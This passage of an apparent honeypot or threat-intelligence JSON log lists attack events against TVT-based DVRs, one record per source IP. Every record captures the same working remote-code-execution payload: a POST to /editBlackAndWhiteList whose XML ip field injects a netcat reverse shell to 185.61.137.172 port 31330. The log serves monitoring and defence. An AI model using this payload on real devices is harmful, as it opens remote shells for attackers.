  3218.       "source_ip_address": "87.97.64.74",
  3219.       "country": "HU",
  3220.       "user_agent": "Help",
  3221.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3222.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3223.       "target_port": 80,
  3224.       "protocol": "tcp",
  3225.       "tags": [
  3226.         {
  3227.           "cve": "",
  3228.           "category": "IoT",
  3229.           "description": "TVT (Generic OEM) DVR RCE"
  3230.         }
  3231.       ],
  3232.       "event_count": 1,
  3233.       "first_seen": "2019-12-22T11:57:08Z",
  3234.       "last_seen": "2019-12-22T11:57:08Z"
  3235.     },
  3236.     {
  3237.       "source_ip_address": "187.206.186.19",
  3238.       "country": "MX",
  3239.       "user_agent": "Help",
  3240.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3241.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3242.       "target_port": 80,
  3243.       "protocol": "tcp",
  3244.       "tags": [
  3245.         {
  3246.           "cve": "",
  3247.           "category": "IoT",
  3248.           "description": "TVT (Generic OEM) DVR RCE"
  3249.         }
  3250.       ],
  3251.       "event_count": 1,
  3252.       "first_seen": "2019-12-22T11:35:15Z",
  3253.       "last_seen": "2019-12-22T11:35:15Z"
  3254.     },
  3255.     {
  3256.       "source_ip_address": "172.119.80.163",
  3257.       "country": "US",
  3258.       "user_agent": "Help",
  3259.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3260.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3261.       "target_port": 8000,
  3262.       "protocol": "tcp",
  3263.       "tags": [
  3264.         {
  3265.           "cve": "",
  3266.           "category": "IoT",
  3267.           "description": "TVT (Generic OEM) DVR RCE"
  3268.         }
  3269.       ],
  3270.       "event_count": 1,
  3271.       "first_seen": "2019-12-22T11:24:02Z",
  3272.       "last_seen": "2019-12-22T11:24:02Z"
  3273.     },
  3274.     {
  3275.       "source_ip_address": "188.226.93.106",
  3276.       "country": "RU",
  3277.       "user_agent": "Help",
  3278.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3279.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3280.       "target_port": 8000,
  3281.       "protocol": "tcp",
  3282.       "tags": [
  3283.         {
  3284.           "cve": "",
  3285.           "category": "IoT",
  3286.           "description": "TVT (Generic OEM) DVR RCE"
  3287.         }
  3288.       ],
  3289.       "event_count": 4,
  3290.       "first_seen": "2019-12-22T11:20:31Z",
  3291.       "last_seen": "2019-12-22T11:20:31Z"
  3292.     },
  3293.     {
  3294.       "source_ip_address": "189.183.200.105",
  3295.       "country": "MX",
  3296.       "user_agent": "Help",
  3297.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3298.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3299.       "target_port": 8080,
  3300.       "protocol": "tcp",
  3301.       "tags": [
  3302.         {
  3303.           "cve": "",
  3304.           "category": "IoT",
  3305.           "description": "TVT (Generic OEM) DVR RCE"
  3306.         }
  3307.       ],
  3308.       "event_count": 1,
  3309.       "first_seen": "2019-12-22T11:07:08Z",
  3310.       "last_seen": "2019-12-22T11:07:08Z"
  3311.     },
  3312.     {
  3313.       "source_ip_address": "84.232.10.244",
  3314.       "country": "ES",
  3315.       "user_agent": "Help",
  3316.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3317.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3318.       "target_port": 88,
  3319.       "protocol": "tcp",
  3320.       "tags": [
  3321.         {
  3322.           "cve": "",
  3323.           "category": "IoT",
  3324.           "description": "TVT (Generic OEM) DVR RCE"
  3325.         }
  3326.       ],
  3327.       "event_count": 1,
  3328.       "first_seen": "2019-12-22T11:02:50Z",
  3329.       "last_seen": "2019-12-22T11:02:50Z"
  3330.     },
  3331.     {
  3332.       "source_ip_address": "111.253.106.18",
  3333.       "country": "TW",
  3334.       "user_agent": "Help",
  3335.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3336.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3337.       "target_port": 8000,
  3338.       "protocol": "tcp",
  3339.       "tags": [
  3340.         {
  3341.           "cve": "",
  3342.           "category": "IoT",
  3343.           "description": "TVT (Generic OEM) DVR RCE"
  3344.         }
  3345.       ],
  3346.       "event_count": 79,
  3347.       "first_seen": "2019-12-22T10:59:20Z",
  3348.       "last_seen": "2019-12-22T10:59:20Z"
  3349.     },
  3350.     {
  3351.       "source_ip_address": "149.34.21.224",
  3352.       "country": "ES",
  3353.       "user_agent": "Help",
  3354.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3355.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3356.       "target_port": 88,
  3357.       "protocol": "tcp",
  3358.       "tags": [
  3359.         {
  3360.           "cve": "",
  3361.           "category": "IoT",
  3362.           "description": "TVT (Generic OEM) DVR RCE"
  3363.         }
  3364.       ],
  3365.       "event_count": 5,
  3366.       "first_seen": "2019-12-22T10:58:15Z",
  3367.       "last_seen": "2019-12-22T10:58:15Z"
  3368.     },
  3369.     {
  3370.       "source_ip_address": "114.35.190.194",
  3371.       "country": "TW",
  3372.       "user_agent": "Help",
  3373.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3374.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3375.       "target_port": 81,
  3376.       "protocol": "tcp",
  3377.       "tags": [
  3378.         {
  3379.           "cve": "",
  3380.           "category": "IoT",
  3381.           "description": "TVT (Generic OEM) DVR RCE"
  3382.         }
  3383.       ],
  3384.       "event_count": 7,
  3385.       "first_seen": "2019-12-22T10:57:19Z",
  3386.       "last_seen": "2019-12-22T10:57:19Z"
  3387.     },
  3388.     {
  3389.       "source_ip_address": "59.125.188.199",
  3390.       "country": "TW",
  3391.       "user_agent": "Help",
  3392.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3393.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3394.       "target_port": 80,
  3395.       "protocol": "tcp",
  3396.       "tags": [
  3397.         {
  3398.           "cve": "",
  3399.           "category": "IoT",
  3400.           "description": "TVT (Generic OEM) DVR RCE"
  3401.         }
  3402.       ],
  3403.       "event_count": 2,
  3404.       "first_seen": "2019-12-22T10:56:21Z",
  3405.       "last_seen": "2019-12-22T10:56:21Z"
  3406.     },
  3407.     {
  3408.       "source_ip_address": "14.46.131.73",
  3409.       "country": "KR",
  3410.       "user_agent": "Help",
  3411.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3412.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3413.       "target_port": 81,
  3414.       "protocol": "tcp",
  3415.       "tags": [
  3416.         {
  3417.           "cve": "",
  3418.           "category": "IoT",
  3419.           "description": "TVT (Generic OEM) DVR RCE"
  3420.         }
  3421.       ],
  3422.       "event_count": 1,
  3423.       "first_seen": "2019-12-22T10:53:18Z",
  3424.       "last_seen": "2019-12-22T10:53:18Z"
  3425.     },
  3426.     {
  3427.       "source_ip_address": "189.243.243.182",
  3428.       "country": "MX",
  3429.       "user_agent": "Help",
  3430.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3431.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3432.       "target_port": 81,
  3433.       "protocol": "tcp",
  3434.       "tags": [
  3435.         {
  3436.           "cve": "",
  3437.           "category": "IoT",
  3438.           "description": "TVT (Generic OEM) DVR RCE"
  3439.         }
  3440.       ],
  3441.       "event_count": 79,
  3442.       "first_seen": "2019-12-22T10:51:25Z",
  3443.       "last_seen": "2019-12-22T10:51:25Z"
  3444.     },
  3445.     {
  3446.       "source_ip_address": "89.121.251.234",
  3447.       "country": "RO",
  3448.       "user_agent": "Help",
  3449.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3450.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3451.       "target_port": 80,
  3452.       "protocol": "tcp",
  3453.       "tags": [
  3454.         {
  3455.           "cve": "",
  3456.           "category": "IoT",
  3457.           "description": "TVT (Generic OEM) DVR RCE"
  3458.         }
  3459.       ],
  3460.       "event_count": 2,
  3461.       "first_seen": "2019-12-22T10:22:09Z",
  3462.       "last_seen": "2019-12-22T10:22:09Z"
  3463.     },
  3464.     {
  3465.       "source_ip_address": "79.36.195.201",
  3466.       "country": "IT",
  3467.       "user_agent": "Help",
  3468.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3469.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3470.       "target_port": 8000,
  3471.       "protocol": "tcp",
  3472.       "tags": [
  3473.         {
  3474.           "cve": "",
  3475.           "category": "IoT",
  3476.           "description": "TVT (Generic OEM) DVR RCE"
  3477.         }
  3478.       ],
  3479.       "event_count": 3,
  3480.       "first_seen": "2019-12-22T10:10:30Z",
  3481.       "last_seen": "2019-12-22T10:10:30Z"
  3482.     },
  3483.     {
  3484.       "source_ip_address": "187.214.236.179",
  3485.       "country": "MX",
  3486.       "user_agent": "Help",
  3487.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3488.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3489.       "target_port": 81,
  3490.       "protocol": "tcp",
  3491.       "tags": [
  3492.         {
  3493.           "cve": "",
  3494.           "category": "IoT",
  3495.           "description": "TVT (Generic OEM) DVR RCE"
  3496.         }
  3497.       ],
  3498.       "event_count": 4,
  3499.       "first_seen": "2019-12-22T10:09:34Z",
  3500.       "last_seen": "2019-12-22T10:09:34Z"
  3501.     },
  3502.     {
  3503.       "source_ip_address": "59.1.129.10",
  3504.       "country": "KR",
  3505.       "user_agent": "Help",
  3506.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3507.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3508.       "target_port": 88,
  3509.       "protocol": "tcp",
  3510.       "tags": [
  3511.         {
  3512.           "cve": "",
  3513.           "category": "IoT",
  3514.           "description": "TVT (Generic OEM) DVR RCE"
  3515.         }
  3516.       ],
  3517.       "event_count": 4,
  3518.       "first_seen": "2019-12-22T10:02:59Z",
  3519.       "last_seen": "2019-12-22T10:02:59Z"
  3520.     },
  3521.     {
  3522.       "source_ip_address": "47.206.1.10",
  3523.       "country": "US",
  3524.       "user_agent": "Help",
  3525.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3526.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3527.       "target_port": 88,
  3528.       "protocol": "tcp",
  3529.       "tags": [
  3530.         {
  3531.           "cve": "",
  3532.           "category": "IoT",
  3533.           "description": "TVT (Generic OEM) DVR RCE"
  3534.         }
  3535.       ],
  3536.       "event_count": 4,
  3537.       "first_seen": "2019-12-22T10:02:15Z",
  3538.       "last_seen": "2019-12-22T10:02:15Z"
  3539.     },
  3540.     {
  3541.       "source_ip_address": "50.195.140.108",
  3542.       "country": "US",
  3543.       "user_agent": "Help",
  3544.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3545.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3546.       "target_port": 88,
  3547.       "protocol": "tcp",
  3548.       "tags": [
  3549.         {
  3550.           "cve": "",
  3551.           "category": "IoT",
  3552.           "description": "TVT (Generic OEM) DVR RCE"
  3553.         }
  3554.       ],
  3555.       "event_count": 4,
  3556.       "first_seen": "2019-12-22T09:33:42Z",
  3557.       "last_seen": "2019-12-22T09:33:42Z"
  3558.     },
  3559.     {
  3560.       "source_ip_address": "51.37.250.63",
  3561.       "country": "IE",
  3562.       "user_agent": "Help",
  3563.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3564.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3565.       "target_port": 8000,
  3566.       "protocol": "tcp",
  3567.       "tags": [
  3568.         {
  3569.           "cve": "",
  3570.           "category": "IoT",
  3571.           "description": "TVT (Generic OEM) DVR RCE"
  3572.         }
  3573.       ],
  3574.       "event_count": 1,
  3575.       "first_seen": "2019-12-22T09:32:23Z",
  3576.       "last_seen": "2019-12-22T09:32:23Z"
  3577.     },
  3578.     {
  3579.       "source_ip_address": "220.135.199.85",
  3580.       "country": "TW",
  3581.       "user_agent": "Help",
  3582.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3583.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3584.       "target_port": 8000,
  3585.       "protocol": "tcp",
  3586.       "tags": [
  3587.         {
  3588.           "cve": "",
  3589.           "category": "IoT",
  3590.           "description": "TVT (Generic OEM) DVR RCE"
  3591.         }
  3592.       ],
  3593.       "event_count": 5,
  3594.       "first_seen": "2019-12-22T09:22:07Z",
  3595.       "last_seen": "2019-12-22T09:22:07Z"
  3596.     },
  3597.     {
  3598.       "source_ip_address": "188.218.155.193",
  3599.       "country": "IT",
  3600.       "user_agent": "Help",
  3601.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3602.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3603.       "target_port": 88,
  3604.       "protocol": "tcp",
  3605.       "tags": [
  3606.         {
  3607.           "cve": "",
  3608.           "category": "IoT",
  3609.           "description": "TVT (Generic OEM) DVR RCE"
  3610.         }
  3611.       ],
  3612.       "event_count": 90,
  3613.       "first_seen": "2019-12-22T09:08:46Z",
  3614.       "last_seen": "2019-12-22T09:08:46Z"
  3615.     },
  3616.     {
  3617.       "source_ip_address": "185.104.71.19",
  3618.       "country": "LB",
  3619.       "user_agent": "Help",
  3620.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3621.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3622.       "target_port": 80,
  3623.       "protocol": "tcp",
  3624.       "tags": [
  3625.         {
  3626.           "cve": "",
  3627.           "category": "IoT",
  3628.           "description": "TVT (Generic OEM) DVR RCE"
  3629.         }
  3630.       ],
  3631.       "event_count": 1,
  3632.       "first_seen": "2019-12-22T08:33:28Z",
  3633.       "last_seen": "2019-12-22T08:33:28Z"
  3634.     },
  3635.     {
  3636.       "source_ip_address": "68.129.124.11",
  3637.       "country": "US",
  3638.       "user_agent": "Help",
  3639.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3640.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3641.       "target_port": 8000,
  3642.       "protocol": "tcp",
  3643.       "tags": [
  3644.         {
  3645.           "cve": "",
  3646.           "category": "IoT",
  3647.           "description": "TVT (Generic OEM) DVR RCE"
  3648.         }
  3649.       ],
  3650.       "event_count": 92,
  3651.       "first_seen": "2019-12-22T08:32:32Z",
  3652.       "last_seen": "2019-12-22T08:32:32Z"
  3653.     },
  3654.     {
  3655.       "source_ip_address": "91.196.212.78",
  3656.       "country": "PL",
  3657.       "user_agent": "Help",
  3658.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3659.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3660.       "target_port": 81,
  3661.       "protocol": "tcp",
  3662.       "tags": [
  3663.         {
  3664.           "cve": "",
  3665.           "category": "IoT",
  3666.           "description": "TVT (Generic OEM) DVR RCE"
  3667.         }
  3668.       ],
  3669.       "event_count": 1,
  3670.       "first_seen": "2019-12-22T07:51:35Z",
  3671.       "last_seen": "2019-12-22T07:51:35Z"
  3672.     },
  3673.     {
